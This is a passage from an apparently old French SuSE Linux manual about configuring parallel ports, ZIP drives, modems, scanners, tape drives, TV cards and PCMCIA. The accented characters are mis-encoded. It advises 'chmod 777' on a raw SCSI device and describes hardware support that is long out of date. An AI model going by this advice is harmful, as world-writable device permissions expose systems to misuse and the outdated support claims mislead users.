  19836.                            |                                                                                                       *
  19837.  *         |
  19838.                            | parport                             6884     1    [parport_pc  lp]                                    *
  19839.  *         |
  19840.                            | lp                                      5116     0    (unused)                                        *
  19841.  *         |
  19842.                            |_______________________________________________________________________________________________________*
  19843.  *________ |
  19844.  
  19845.  
  19846.                            Ce qui suit est aussi valable dans ce cas : Les entrΘes dans le fichier /var/
  19847.                            log/messages  ainsi  que  dans  le  systΦme  de  fichiers  proc     sous  /proc/
  19848.                            parport  fournissent  des  informations  prΘcises.  Si  tout  marche  bien  vous
  19849.                            n'aurez plus besoin de charger manuellement les modules ~ ceci sera effectuΘ
  19850.                            automatiquement par Kmod   (voir paragraphe 13.2 page 361) par exemple
  19851.                            lorsqu'une  requΩte  d'impression  sera  envoyΘe.  Les  lecteurs  ZIP  sont  gΘrΘs
  19852.                            soit par ppa   , soit par imm    ~ voir plus bas paragraphe 10.5.3 page ci-contre.
  19853.  
  19854.  
  19855.                            Remarques complΘmentaires
  19856.  
  19857.                            Voyez, dans les sources du noyau, les fichiers parport.txt et paride.txt
  19858.                            du rΘpertoire /usr/src/linux/Documentation.
  19859.  
  19860.                            Vous  pouvez  obtenir  des  informations  sur  l'Θtat  actuel  de  la  programma-
  19861.                            tion  de  parport       sous  l'URL  http://www.torque.net/linux-pp.html
  19862.                            ou http://www.torque.net/parport/
  19863.  
  19864.  
  19865.                            10.4.4       USB ~ Universal Serial Bus
  19866.  
  19867.                            L' Universal Serial Bus constitue l'une des plus importantes innovations qui
  19868.                            ont eu lieu sur le marchΘ des PC au cours de ces derniΦres annΘes. └ l'aide de
  19869.                            ce systΦme de bus, vous pouvez raccorder de faτon simple α votre machine un
  19870.                            trΦs grand nombre de pΘriphΘriques divers tels que par exemple souris, cla-
  19871.                            vier, imprimante et aussi scanner. Chacun de ces pΘriphΘriques dispose de la
  19872.                            mΩme douille et il est raccordΘ α l'ordinateur par le mΩme cΓble. Ceci rend su-
  19873.                            perflus les nombreux cΓbles tels que RS232 ou Centronics encore nΘcessaires
  19874.                            actuellement. Le bus est Θgalement en mesure de signaler au systΦme en cours
  19875.  
  19876.  
  19877. 308
  19878.        ____________________________________________________________________________________________10.5.__Supports_amovibles_______*
  19879.  *______________________
  19880.  
  19881.  
  19882.  
  19883. de fonctionnement la prΘsence ou l'absence de pΘriphΘriques. Il est ainsi pos-
  19884. sible, par exemple, de connecter ou de dΘconnecter l'imprimante sans avoir α
  19885. redΘmarrer la machine.
  19886.  
  19887. Sous Linux, le support de ce systΦme de bus n'est malheureusement pas en-
  19888. core  complet.  Il  ne  vous  sera  donc  pas  encore  possible  d'utiliser  sous  Li-
  19889. nux  des  pΘriphΘriques  raccordΘs  par  ce  bus.  Vous  trouverez  plus  d'infor-
  19890. mations  sur  l'implΘmentation  de  USB  sous  Linux  α  l'URL  http://www.
  19891. linux-usb.org/.
  19892.  
  19893.  
  19894.  
  19895. 10.5        Supports amovibles
  19896.  
  19897. Sous Linux, les plus divers supports amovibles peuvent Ωtre utilisΘs : lecteurs
  19898. de  disquettes,  lecteurs  ZIP,  lecteurs  JAZ  ou  lecteurs  SyQuest  ainsi  que  les
  19899. lecteurs magnΘto-optiques.
  19900.  
  19901.  
  19902. 10.5.1       Lecteurs de disquettes
  19903.  
  19904. Les utilitaires du paquetage mtools ont ΘtΘ dΘveloppΘs pour permettre un ac-
  19905. cΦs simple aux disquettes formatΘes MS-DOS. Le paragraphe 19.12 page 501
  19906. vous informe sur les possibilitΘs de ces programmes et sur leur utilisation.
  19907.  
  19908. Vous  pouvez  bien  entendu  aussi  traiter  des  disquettes  formatΘes  ext2     ou
  19909. minix     . De nombreux autres systΦmes de fichiers peuvent aussi Ωtre utilisΘs.
  19910. Vous devez pour cela les rattacher au systΦme de fichiers avec la commande
  19911. mount . Lisez le paragraphe 19.11 page 499 pour plus de dΘtails.
  19912.  
  19913.  
  19914. 10.5.2       Lecteurs LS 120
  19915.  
  19916. Les lecteurs LS 120 sont raccordΘs au port IDE de la machine et le systΦme les
  19917. considΦre comme Θtant des disques durs. Ils doivent donc Ωtre aussi rattachΘs
  19918. au systΦme de fichiers α l'aide de la commande mount .
  19919.  
  19920.  
  19921. 10.5.3       Lecteurs ZIP
  19922.  
  19923. Il existe des lecteurs ZIP pour diffΘrents types de ports : port parallΦle, IDE,
  19924. SCSI et maintenant aussi USB (ce dernier n'est pas encore supportΘ).
  19925.  
  19926. Pour les lecteurs IDE et SCSI, vous n'avez pas besoin de pilotes particuliers.
  19927. Ces  variantes  sont  raccordΘes  au  bus  correspondant  et  les  pilotes  (IDE  ou
  19928. SCSI) qui les gΦrent peuvent y accΘder. On accΦde aux pΘriphΘriques par les
  19929. fichiers de pΘriphΘriques
  19930.  
  19931. /dev/hda  -  /dev/hdd  pour  IDE  (ATAPI)
  19932.  
  19933.  
  19934. et
  19935.  
  19936. /dev/sda  -  /dev/sdm  pour  SCSI
  19937.  
  19938.  
  19939. Vous devez, toujours α l'aide de la commande mount , rattacher le lecteur au
  19940. systΦme de fichiers.
  19941.  
  19942. L'intΘgration  de  la  version  port  parallΦle  est  un  peu  plus  compliquΘe.  Elle
  19943. requiert  un  support  de  disques  durs  SCSI,  un  support  pour  parport        et
  19944.  
  19945.  
  19946.                                                                                                                                    *
  19947.  *   309
  19948. 10.  L'environnement_matΘriel_de_l'ordinateur_Linux________________________________________________________________________________*
  19949.  *_______________________________________@
  19950.  
  19951.  
  19952.  
  19953.                            parport_pc           (voir  paragraphe  10.4.3  page  307)  ainsi  que  le  pilote  ppa    ou
  19954.                            le pilote imm    du noyau3 . Le pilote imm    gΦre les lecteurs les plus rΘcents, tels
  19955.                            que par exemple le ZIP 250. Vous devez en outre vous assurer que le mode
  19956.                            du port parallΦle est fixΘ α EPP    dans le BIOS de la machine. Tentez donc tout
  19957.                            d'abord de charger imm    :
  19958.  
  19959.                                terre:  #  modprobe  imm
  19960.  
  19961.                            En cas d'Θchec, recommencez avec ppa    :
  19962.  
  19963.                                terre:  #  modprobe  ppa
  19964.  
  19965.                            Le  sous-systΦme  parport       devrait  ainsi  Ωtre  initialisΘ  automatiquement.  Si
  19966.                            cela n'a pas fonctionnΘ, reportez-vous α la page 307.
  19967.  
  19968.                            Parfois  une  entrΘe  dans  le  fichier  /etc/modules.conf  peut  aider  α  rΘ-
  19969.                            soudre le problΦme (voir fichier 10.5.1). L'alias      pour scsi_hostadapter
  19970.                            ne  doit  Ωtre  utilisΘ  que  si  vous  n'avez  pas  d'adaptateur  h⌠te  SCSI  rΘgu-
  19971.                            lier  dans  votre  systΦme !  Comme  alternative,  vous  avez  aussi  la  possibilitΘ
  19972.                            d'insΘrer  les  commandes  modprobe         nΘcessaires  dans  le  script  de  dΘmar-
  19973.                            rage /sbin/init.d/boot.local. Pour ce fichier, voir le paragraphe 17.4
  19974.                            page 448 et pages suivantes.
  19975.  
  19976.                            ________________________________________________________________________________________________________*
  19977.  *________||
  19978.  
  19979.                            | #  alias  scsi_hostadapter  ppa                                                                       *
  19980.  *         |
  19981.                            | pre-install  ppa  modprobe  "-k"  parport_pc                                                          *
  19982.  *         |
  19983.                            |_______________________________________________________________________________________________________*
  19984.  *________ |
  19985.  
  19986.                                          fichier 10.5.1: /etc/modules.conf                 : ppa   -Konfiguration
  19987.  
  19988.  
  19989.                            On peut alors accΘder aux disquettes ZIP comme aux disques SCSI et il est
  19990.                            donc nΘcessaire de ``monter'' ces supports (voir aussi le paragraphe 19.11.2
  19991.                            page 500) .
  19992.  
  19993.  
  19994.                            10.6        Modems
  19995.  
  19996.  
  19997.                            10.6.1       Modems externes
  19998.  
  19999.                            Les modems externes sont directement raccordΘs au port sΘrie de la machine.
  20000.                            Les programmes peuvent communiquer avec le modem α travers les fichiers
  20001.                            de pΘriphΘriques /dev/ttyS0, /dev/ttyS1 et suivants. La configuration du
  20002.                            modem pour un accΦs Internet est dΘcrite au paragraphe 6.5 page 190.
  20003.  
  20004.  
  20005.                            10.6.2       Modems internes
  20006.  
  20007.                            Les modems internes sont reliΘs soit au bus PCI, soit au bus ISA de la ma-
  20008.                            chine. Vous trouverez α ce sujet des informations complΘmentaires au para-
  20009.                            graphe 10.2 page 293.
  20010.  
  20011.                            Les  modems  Θtant  pilotΘs  par  le  biais  de  ports  sΘrie,  les  modems  internes
  20012.                            doivent fournir eux-mΩme ce port.
  20013.  
  20014.                            Le tableau 10.2 page ci-contre vous donne un aperτu des ressources standards
  20015.                            pour ports sΘrie.
  20016.                            _____________________________________________3
  20017.                               Le pilote ppa   et le pilote imm   se cachent parmi les ``pilotes SCSI de bas niveau'' ~ Vous
  20018.                            n'avez toutefois pas besoin de compiler votre propre noyau. Les modules nΘcessaires sont fournis
  20019.                            prΘcompilΘs avec SuSE   Linux !
  20020.  
  20021.  
  20022. 310
  20023.        _____________________________________________________________________________________________________________10.6.__Modems__*
  20024.  *______________________
  20025.  
  20026.        ____________________________________________________________________________________________________________________________*
  20027.  *______
  20028.        ||||||||__Fichier_de_pΘriphΘrique__|_Nom___|_____Interruption__|_________Adresse_d'E/S______________________________|_______*
  20029.  *_______
  20030.        ||||||||__/dev/ttyS0_________________COM|1____|__4____________________|__0x3f8______________________________________|_______*
  20031.  *______
  20032.  
  20033.        ||||||||__/dev/ttyS1_________________COM|2____|__3____________________|__0x2f8______________________________________|_______*
  20034.  *______
  20035.        ||||||||__/dev/ttyS2_________________COM|3____|__4____________________|__0x3e8______________________________________|_______*
  20036.  *______
  20037.        ||||||||__/dev/ttyS3_________________COM|4____|__3____________________|__0x2e8______________________________________|_______*
  20038.  *______
  20039.  
  20040.                      Tab. 10.2: Ressources standards pour ports sΘrie
  20041.  
  20042.  
  20043.  
  20044. Modems PCI
  20045.  
  20046. Si vous possΘdez un modem PCI, il s'agit probablement de ce que l'on ap-
  20047. pelle un ``Winmodem''. Les Winmodems ne sont pas vraiment des modems.
  20048. Ils utilisent un pilote spΘcial qui Θmule un modem normal. Ce pilote est fourni
  20049. par le conctructeur du modem et il n'est malheureusement disponible actuel-
  20050. lement  que pour Microsoft Windows.
  20051.  
  20052. Vous trouverez des informations plus dΘtaillΘs sur les Winmodems et leur sup-
  20053. port pour Linux sous l'URL http://www.o2.net/~gromitkc/winmodem.
  20054. html.L
  20055.  
  20056.  
  20057. Modems ISA
  20058.  
  20059. Pour la mise en oeuvre de modems ISA, deux phases sont nΘcessaires :
  20060.  
  20061.  
  20062.   ~   Le modem lui-mΩme doit Ωtre configurΘ (IRQ et adresse d'E/S du port).
  20063.  
  20064.   ~   Le noyau doit connaεtre le nouveau port.
  20065.  
  20066.  
  20067. Initialisation du modem
  20068.  
  20069. Ainsi qu'il a dΘjα ΘtΘ dΘcrit au paragraphe 10.2 page 293, les cartes bus ISA
  20070. peuvent Ωtre des cartes Legacy, Jumperless ou PnP. Dans ce paragraphe, il est
  20071. Θgalement dΘcrit comment sont activΘes les cartes PnP.
  20072.  
  20073. Quelques informations sur la configuration de la carte :
  20074.  
  20075. La configuration de la carte sur /dev/ttyS1 avec l'IRQ 3 (COM2    ) est la moins
  20076. problΘmatique. Il est Θgalement possible d'utiliser /dev/ttyS3 (IRQ 4) mais
  20077. il peut survenir des conflits avec /dev/ttyS0 (COM1    ) car ce port utilise aussi
  20078. l'IRQ 4. Si vous avez une souris sΘrie (sur COM1    ), vous ne devez donc pas
  20079. configurer le modem sur /dev/ttyS0 ou /dev/ttyS2.
  20080.  
  20081. Les IRQ 5 et 7 sont aussi α Θviter car ils sont souvent utilisΘs par les cartes
  20082. son et les ports d'imprimantes.
  20083.  
  20084. Si vous utilisez votre carte son PnP avec OSS, faites en sorte que la carte ne
  20085. soit pas activΘe dans le fichier /etc/isapnp.conf (ACT  Y     doit Ωtre placΘe
  20086. en commentaire).
  20087.  
  20088.  
  20089. Transmission de paramΦtres au noyau
  20090.  
  20091. Lorsque le modem a ΘtΘ configurΘ, le noyau doit avoir des informations sur
  20092. le  nouveau  port.  Si  vous  avez  configurΘ  votre  modem  sur  /dev/ttyS0  ou
  20093. /dev/ttyS1,  vous  n'aurez  aucune  modification  α  faire.  AprΦs  le  prochain
  20094. redΘmarrage du systΦme, les ports seront automatiquement configurΘs.
  20095.  
  20096.  
  20097.                                                                                                                                    *
  20098.  *   311
  20099. 10.  L'environnement_matΘriel_de_l'ordinateur_Linux________________________________________________________________________________*
  20100.  *_______________________________________@
  20101.  
  20102.  
  20103.  
  20104.                            Si  vous  utilisez  d'autres  combinaisons  de  port  d'E/S  et  d'IRQ,  vous  devez
  20105.                            faire connaεtre le port α l'aide de la commande setserial  :
  20106.                            terre:/  #  setserial  /dev/ttyS3  irq  10
  20107.  
  20108.                            Vous  pourrez  ensuite  ~  ainsi  qu'il  est  dΘcrit  au  paragraphe  6.5  page  190  ~
  20109.                            configurer le modem pour l'accΦs Internet.
  20110.  
  20111.                            Pour  automatiser  la  configuration  α  l'aide  de  la  commande  setserial ,  vous
  20112.                            pouvez modifier le fichier /sbin/init.d/serial.
  20113.  
  20114.                            Pour  que  notre  configuration  exemple  soit  automatisΘe,  le  fichier  doit  Ωtre
  20115.                            modifiΘ comme suit :
  20116.  
  20117.                            La ligne
  20118.                            #  run_setserial  /dev/ttyS3  $AUTO_IRQ  autoconfig
  20119.  
  20120.                            est modifiΘe pour devenir
  20121.                            run_setserial  /dev/ttyS3  irq  10
  20122.  
  20123.  
  20124.                            10.7        Scanners
  20125.  
  20126.                            Pour utiliser un scanner sous Linux, il vous faut ~ comme sous d'autres sys-
  20127.                            tΦmes d'exploitation ~ un ensemble de programmes et de pilotes spΘciaux. Le
  20128.                            paquetage sane (sΘrie gra) constitue un tel ensemble en combinaison avec le
  20129.                            paquetage scsiinfo (sΘrie ap). └ l'aide de SANE , vous pouvez utiliser un
  20130.                            scanner raccordΘ α l'un des adaptateurs SCSI supportΘs par le noyau Linux.
  20131.  
  20132.                            Les scanners reliΘs au port parallΦle (port imprimante) de la machine ne sont
  20133.                            pas encore supportΘs bien que des pilotes soient dΘjα en cours de dΘveloppe-
  20134.                            ment. Ceci est Θgalement valable pour les scanners USB.
  20135.  
  20136.                            Comme il est continuellement apportΘ des extensions α SANE, le nombre de
  20137.                            scanners  supportΘs  s'accroεt  constamment.  Une  liste  des  plus  rΘcentes  ver-
  20138.                            sions de scanners supportΘs se trouve sous l'URL http://www.mostang.
  20139.                            com/sane/sane-backends.html.
  20140.  
  20141.  
  20142.                            Comment configurer le pilote de scanner sous Linux ?
  20143.  
  20144.                            Sous Linux, on accΦde aux scanners comme α des ``pΘriphΘriques gΘnΘriques
  20145.                            SCSI'',  c'est-α-dire  en  passant  par  les  fichiers  de  pΘriphΘriques  /dev/sg0
  20146.                            jusqu'α /dev/sg<XX>            .
  20147.  
  20148.                            Pour trouver dans votre systΦme le fichier appropriΘ, vous devriez avoir re-
  20149.                            cours au petit programme sgcheck  :
  20150.                            terre:  #  sgcheck
  20151.  
  20152.                            Vous devriez obtenir quelque chose de ce genre :
  20153.                            Assignment  of  generic  SCSI  devices,
  20154.                            device  host/channel/ID/LUN  type(numeric  type)  vendor  model:
  20155.  
  20156.  
  20157.                            /dev/sg0  0/0/0/0  Direct-Access(0)  SEAGATE  ST32550N
  20158.                            /dev/sg1  0/0/1/0  CD-ROM(5)  PIONEER  CD-ROM  DR-U10X
  20159.                            /dev/sg2  0/0/5/0  Processor(3)  HP  C2500A
  20160.  
  20161.                            On peut reconnaεtre les scanners α la dΘnomination des pΘriphΘriques telles
  20162.                            que processeur          ou aussi SCANNER       . ~ Dans l'exemple ci-dessus, votre scan-
  20163.                            ner est accessible α travers le fichier de pΘriphΘrique /dev/sg2.
  20164.  
  20165.  
  20166. 312
  20167.        __________________________________________________________________10.8.__Lecteurs_de_bandes_(angl._streamers)_______________*
  20168.  *______________________
  20169.  
  20170.  
  20171.  
  20172. CrΘez un lien symbolique pointant de ce pΘriphΘrique sur /dev/scanner :
  20173. terre:/  #  ln  -s  /dev/sg2  /dev/scanner
  20174.  
  20175. Ensuite, vous devez encore modifier en consΘquence les droits pour le pΘri-
  20176. phΘrique SCSI gΘnΘrique. SANE attend, outre des droits de lecture, aussi des
  20177. droits d'Θcriture sur le phΘriphΘrique car il doit envoyer des commandes au
  20178. scanner :
  20179.  
  20180. terre:/  #  chmod  777  /dev/sg2
  20181.  
  20182.  
  20183.  
  20184. ProblΦmes
  20185.  
  20186. Dans le cas o∙ votre scanner ne serait pas dΘtectΘ par SANE, vΘrifiez s'il a
  20187. ΘtΘ dΘtectΘ par votre contr⌠leur SCSI :
  20188.  
  20189. terre:/  #  cat  /proc/scsi/scsi
  20190.  
  20191. La sortie devrait avoir α peu prΦs cet aspect :
  20192. Attached  devices:
  20193.   Host:  scsi0  Channel:  00  Id:  00  Lun:  00
  20194.      Vendor:  SEAGATE  Model:    ST32550N                Rev:  0016
  20195.      Type:     Direct  Access                                   ANSI  SCSI  revision:  02
  20196.   Host:  scsi0  Channel:  00  Id:  01  Lun:  00
  20197.      Vendor:  PIONEER  Model:    CD-ROM  DR-U10X     Rev:  1.07
  20198.      Type:     CD-ROM                                               ANSI  SCSI  revision:  02
  20199.   Host:  scsi0  Channel:  00  Id:  02  Lun:  00
  20200.      Vendor:  QUANTUM  Model:    FIREBALL  TM3200S  Rev:  1.07
  20201.      Type:     Direct-Access                                   ANSI  SCSI  revision:  02
  20202.   Host:  scsi0  Channel:  00  Id:  06  Lun:  00
  20203.      Vendor:  SCANNER  Model:                                 Rev:  2.00
  20204.      Type:     Scanner                                             ANSI  SCSI  revision:  01  CCS
  20205.  
  20206. Au  cas  o∙  vous  ne  trouveriez  pas  ici  d'entrΘe  telle  que  ``SCANNER''  ou
  20207. ``PROCESSOR'',  cela  signifie  que  le  scanner  n'a  pas  ΘtΘ  reconnu  par  le
  20208. contr⌠leur.  VΘrifiez  si  le  scanner  est  en  fonction  et  si  la  terminaison  du
  20209. bus SCSI est correcte.
  20210.  
  20211.  
  20212.  
  20213. 10.8        Lecteurs de bandes (angl. streamers)
  20214.  
  20215.  
  20216. Les  lecteurs  de  bandes  appelΘs  aussi  streamers  sont  utilisΘs  principalement
  20217. pour la sauvegarde de grandes quantitΘs de donnΘes. Il existe sur le marchΘ
  20218. des lecteurs de bandes avec diffΘrentes interfaces vers la machine.
  20219.  
  20220.  
  20221.  
  20222. Lecteurs de bandes SCSI
  20223.  
  20224. Les plus connus sont probablement les lecteurs raccordΘs directement au bus
  20225. SCSI. Vous pouvez partir du principe que tous les lecteurs de bandes reliΘs α
  20226. un adaptateur SCSI supportΘ par Linux peuvent Ωtre utilisΘs. Si votre lecteur
  20227. de  bandes  est  dotΘ  de  fonctions  peu  communes  (par  exemple  Θchange  de
  20228. bande), il vous faudra trΦs souvent des logiciels spΘciaux pour pouvoir tirer
  20229. parti de ces fonctions.
  20230.  
  20231. Voici comment on peut accΘder au lecteur de bandes SCSI :
  20232.  
  20233.  
  20234.                                                                                                                                    *
  20235.  *   313
  20236. 10.  L'environnement_matΘriel_de_l'ordinateur_Linux________________________________________________________________________________*
  20237.  *_______________________________________@
  20238.  
  20239.  
  20240.  
  20241.                              ~   On accΦde au premier lecteur de bandes dans le systΦme α travers les fi-
  20242.                                  chiers de pΘriphΘriques /dev/st0 et /dev/nst0, au deuxiΦme par /dev/
  20243.                                  st1 et /dev/nst1 et ainsi de suite. /dev/stX reprΘsente un lecteur qui
  20244.                                  aprΦs chaque action rembobine la bande.
  20245.                                  /dev/nstX  rΘfΘrence  par  contre  un  lecteur  qui  laisse  constamment  la
  20246.                                  bande dans la position actuelle.
  20247.                                  Nous  vous  recommandons  d'utiliser  /dev/nstX  car  la  commande  mt
  20248.                                  permet de piloter le lecteur de faτon prΘcise.
  20249.  
  20250.                              ~   Utilisez  par  consΘquent  la  commande  mt  pour  envoyer  au  lecteur  des
  20251.                                  instructions pour le contr⌠le de la bande.
  20252.                                  terre:/  #  mt  -f  /dev/nst0  retension
  20253.                                  Retend la bande en la rembobinant du dΘbut α la fin.
  20254.                                  terre:/  #  mt  -f  /dev/nst0  rewind
  20255.                                  Rembobine la bande α son dΘbut. Vous pouvez ainsi ajouter de nouvelles
  20256.                                  donnΘes sur une bande dont une partie contient dΘjα des enregistrements.
  20257.                                  terre:/  #  mt  -f  /dev/nst0  eom
  20258.                                  Rembobine la bande derriΦre le dernier jeu de donnΘes. Vous pouvez ainsi
  20259.                                  ajouter de nouvelles donnΘes sur une bande dont une partie contient dΘjα
  20260.                                  des enregistrements.
  20261.                                  terre:/  #  mt  -f  /dev/nst0  erase
  20262.                                  Efface la bande dans le lecteur. Attention ! Toutes les donnΘes contenues
  20263.                                  sur la bande sont perdues.
  20264.  
  20265.                            Lecteurs de bandes IDE
  20266.  
  20267.                            Les  lecteurs  de  bandes  IDE  sont  raccordΘs  au  bus  IDE  de  la  machine.  Le
  20268.                            lecteur est reconnu automatiquement par Linux et vous pouvez alors l'utiliser
  20269.                            α travers les fichiers de pΘriphΘriques /dev/ht0 ou /dev/nht0.
  20270.  
  20271.                            Utilisez la commande mt  ainsi qu'il est dΘcrit au paragraphe 10.8 page prΘ-
  20272.                            cΘdente
  20273.  
  20274.  
  20275.                            Lecteurs de bandes raccordΘs au contr⌠leur de disquettes
  20276.  
  20277.                            Ces lecteurs de bandes sont simplement raccordΘs au contr⌠leur de disquettes
  20278.                            dont dispose chaque machine.
  20279.  
  20280.                            Comme l'accΦs α ces pΘriphΘriques requiert une coordination temporelle trΦs
  20281.                            prΘcise, il survient souvent des problΦmes lors de la sauvegarde des donnΘes.
  20282.  
  20283.                            Pour utiliser ces lecteurs sous Linux, il faut un pilote spΘcial ftape . Ce pilote
  20284.                            est dΘjα fourni avec le noyau. Vous trouverez plus de dΘtails sur la configu-
  20285.                            ration de ces pΘriphΘriques dans la documentation sous /usr/src/linux/
  20286.                            Documentation/ftape.txt. La documentation concernant le sous-systΦme
  20287.                            ftape se trouve dans la page personnelle du dΘveloppeur :
  20288.                            http://www.math1.rwth-aachen.de/~heine/ftape/.
  20289.  
  20290.  
  20291.                            10.9        Cartes TV
  20292.  
  20293.                            Sous Linux, il est possible depuis dΘjα un certain temps de regarder la tΘlΘ-
  20294.                            vision  sous  une  interface  graphique  (le  systΦme  X  Window)  α  l'aide  d'une
  20295.                            carte TV. Ceci est rΘalisable grΓce α toute une sΘrie de modules du noyau et
  20296.                            de programmes appropriΘs.
  20297.  
  20298.  
  20299. 314
  20300.        __________________________________________________________________________________________________________10.9.__Cartes_TV__*
  20301.  *______________________
  20302.  
  20303.  
  20304.  
  20305. Quelles sont les cartes supportΘes ?
  20306. Par principe, le support dΘpend du circuit utilisΘ sur la carte. Au cours de ces
  20307.  
  20308. derniΦres annΘes, les circuits d'acquisition vidΘo de la sociΘtΘ Brooktree se
  20309. sont Θtablis. Sous Linux, on peut utiliser les cartes dotΘes des circuits BT848
  20310. et ``BT878''. Bien que le support pour BT878      ne soit pas encore complet, on
  20311. peut dΘjα le considΘrer comme stable.
  20312.  
  20313. Citons comme exemples pour de telles cartes Hauppauge WIN/TV  et Miro
  20314. PC/TV .
  20315.  
  20316.  
  20317. Comment le support est-il activΘ ?
  20318.  
  20319.   ~   Connectez-vous α votre systΦme comme utilisateur `root'.
  20320.  
  20321.   ~   Installez tout d'abord le paquetage bttv de la sΘrie gra avec YaST .
  20322.  
  20323.   ~   Passez dans le rΘpertoire /usr/doc/packages/bttv/tools et lancez le
  20324.       programme update       :
  20325.       terre:/  #  cd  /usr/doc/packages/bttv/tools
  20326.       terre:/usr/doc/packages/bttv/tools  #  ./update
  20327.       Ce script prΘpare votre systΦme pour l'utilisation de cartes TV. Il dΘtecte la
  20328.       carte TV prΘsente dans votre systΦme, ajoute les entrΘes correspondantes
  20329.       dans le fichier /etc/modules.conf. et intΦgre les modules nΘcessaires
  20330.       dans le systΦme.
  20331.  
  20332. En cas de problΦme avec la carte TV, vous devriez commencer par lire la do-
  20333. cumentation  contenue  dans  le  rΘpertoire  /usr/doc/packages/bttv/doc.
  20334. Vous trouverez en outre quelques articles dans notre base de donnΘes support
  20335. sur Internet : http://sdb.suse.de (mot-clΘ : tv  ).
  20336.  
  20337.                                                                                                                                    *
  20338.  *   315
  20339. 10.  L'environnement_matΘriel_de_l'ordinateur_Linux________________________________________________________________________________*
  20340.  *_______________________________________@
  20341.  
  20342. 316
  20343.  
  20344.                                                                                                       Chapitre  11
  20345.   Notebooks   ~   PCMCIA,   APM,   IrDA
  20346.  
  20347.  
  20348. Les  notebooks  doivent  rΘpondre  α  des  exigences  particuliΦres.  On  s'attend,
  20349. entre autre, α ce qu'ils soient dotΘs de composants tels que ``Advanced Power
  20350. Management'' (APM), interface infrarouge (IrDA) et cartes PC (PCMCIA).
  20351. Ces composants se rencontrent parfois aussi dans les ordinateurs de bureau
  20352. et  ils  ne  prΘsentent  pas  beaucoup  de  diffΘrence  avec  ceux  utilisΘs  dans  les
  20353. notebooks ~ c'est pourquoi nous allons dΘcrire globalement dans ce chapitre
  20354. leur mise en oeuvre et leur configuration.
  20355.  
  20356. Ceux  qui  sont  intΘressΘs  par  les  expΘriences  dΘjα  faites  avec  certains  no-
  20357. tebooks  devraient  absolument  visiter  la  ``Linux  Laptop  Homepage''  sous
  20358. http://www.cs.utexas.edu/users/kharker/linux-laptop.        Une
  20359. autre  source  d'informations  intΘressante  est  la  page  Web  ``LiLAC''  sous
  20360. http://home.snafu.de/wehe/index_li.html.  On  y  trouve  aussi  bien
  20361. un Laptop-Howto qu'un IrDA-Howto.
  20362.  
  20363.  
  20364. 11.1        PCMCIA
  20365.  
  20366.  
  20367. 11.1.1       Le matΘriel
  20368.  
  20369. PCMCIA est l'acronyme de ``Personal Computer Memory Card International
  20370. Association''. Cet acronyme est couramment employΘ comme dΘnomination
  20371. collective pour tous les composants matΘriels et logiciels en rapport avec ce
  20372. standard. Le composant principal est la carte PCMCIA dont on distingue deux
  20373. types :
  20374.  
  20375. Cartes PC :         Ce  sont  les  cartes  que  l'on  rencontre  aujourd'hui  le  plus  frΘ-
  20376.       quemment. Elles utilisent un bus d'une largeur de 16 bits pour le transfert
  20377.       des  donnΘes  et  sont  en  gΘnΘral  assez  avantageuses.  Pour  un  trΦs  grand
  20378.       nombre de ces cartes, il existe un support stable et sans problΦme.
  20379.  
  20380. Cartes CardBus :             Il  s'agit  d'un  standard  assez  rΘcent.  Ces  cartes  utilisent
  20381.       un bus d'une largeur de 32 bits et sont ainsi plus rapides mais aussi plus
  20382.       co√teuses. Comme le taux de transfert des donnΘes est par ailleurs sou-
  20383.       vent limitΘ, il ne vaut gΘnΘralement pas la peine de faire cette dΘpense.
  20384.       Il existe maintenant pour ces cartes un grand nombre de pilotes mais cer-
  20385.       tains  d'entre  eux  sont  encore  instables  ~  ceci  dΘpend  aussi  du  contr⌠-
  20386.       leur PCMCIA utilisΘ.
  20387.  
  20388. La carte insΘrΘe peut Ωtre identifiΘe par la commande cardctl  ident           . Vous
  20389. trouverez une liste des cartes supportΘes dans SUPPORTED_CARDS de /usr/
  20390.  
  20391.  
  20392.                                                                                                                                    *
  20393.  *   317
  20394. 11.  Notebooks ~ PCMCIA,_APM,_IrDA_________________________________________________________________________________________________*
  20395.  *_______________________________________@
  20396.  
  20397.  
  20398.  
  20399.                            doc/packages/pcmcia. Vous y trouverez Θgalement la version actuelle du
  20400.                            PCMCIA-HOWTO.
  20401.                            Le deuxiΦme composant indispensable est le contr⌠leur PCMCIA mais peut
  20402.                            aussi Ωtre le pont PC-Card/CardBus. Celui-ci relie la carte au bus PCI et, dans
  20403.                            les pΘriphΘriques plus anciens, au bus ISA. Ces contr⌠leurs sont presque tou-
  20404.                            jours compatibles avec les circuits i82365       d'Intel et tous les modΦles cou-
  20405.                            rants sont supportΘs. Le type du contr⌠leur peut Ωtre identifiΘ avec la com-
  20406.                            mande probe     . Dans le cas d'un pΘriphΘrique PCI, la commande lspci  -vt
  20407.                            fournit aussi d'intΘressantes informations.
  20408.  
  20409.  
  20410.                            11.1.2       Les logiciels
  20411.  
  20412.                            Tous les pilotes et programmes nΘcessaires se trouvent, pour autant qu'ils ne
  20413.                            soient pas dΘjα intΘgrΘs dans le noyau, dans le paquetage PCMCIA, sΘrie a1.
  20414.                            La base est constituΘe par les modules pcmcia_core, i82365 (ou, rarement,
  20415.                            tcic) et ds. Ces modules sont normalement dΘmarrΘs automatiquement lors
  20416.                            de l'amorτage. Ils initialisent les contr⌠leurs PCMCIA prΘsents et mettent α
  20417.                            disposition des fonctions de base.
  20418.  
  20419.                            Comme les cartes PCMCIA peuvent Ωtre changΘes en cours de fonctionne-
  20420.                            ment  du  systΦme,  il  doit  exister  un  +  dΘmon  qui  contr⌠le  les  activitΘs  dans
  20421.                            les emplacements d'enfichage. Cette tΓche est assumΘe par le gestionnaire de
  20422.                            pΘriphΘriques (cardmgr       ) qui est lancΘ automatiquement aprΦs le chargement
  20423.                            des  modules  de  base.  Lorsqu'une  carte  est  insΘrΘe,  le  gestionnaire  de  pΘri-
  20424.                            phΘriques  identifie  son  type  et  sa  fonction  et  charge  les  modules  adΘquats.
  20425.                            Avec  lsmod    ,  on  peut  voir  quels  modules  ont  ΘtΘ  chargΘs.  Lorsque  tous  les
  20426.                            modules ont ΘtΘ chargΘs avec succΦs, le gestionnaire de pΘriphΘriques lance,
  20427.                            dΘpendamment de la fonction de la carte, certains scripts d'initialisation qui,
  20428.                            de leur c⌠tΘ, Θtablissent par exemple la connexion rΘseau ou montent des par-
  20429.                            titions de disques SCSI externes. Lorsque la carte est retirΘe, le gestionnaire
  20430.                            de pΘriphΘriques termine, α l'aide des mΩmes scripts, les diverses activitΘs de
  20431.                            la  carte.  Ensuite,  les  modules  qui  ne  sont  maintenant  plus  nΘcessaires  sont
  20432.                            dΘchargΘs.
  20433.  
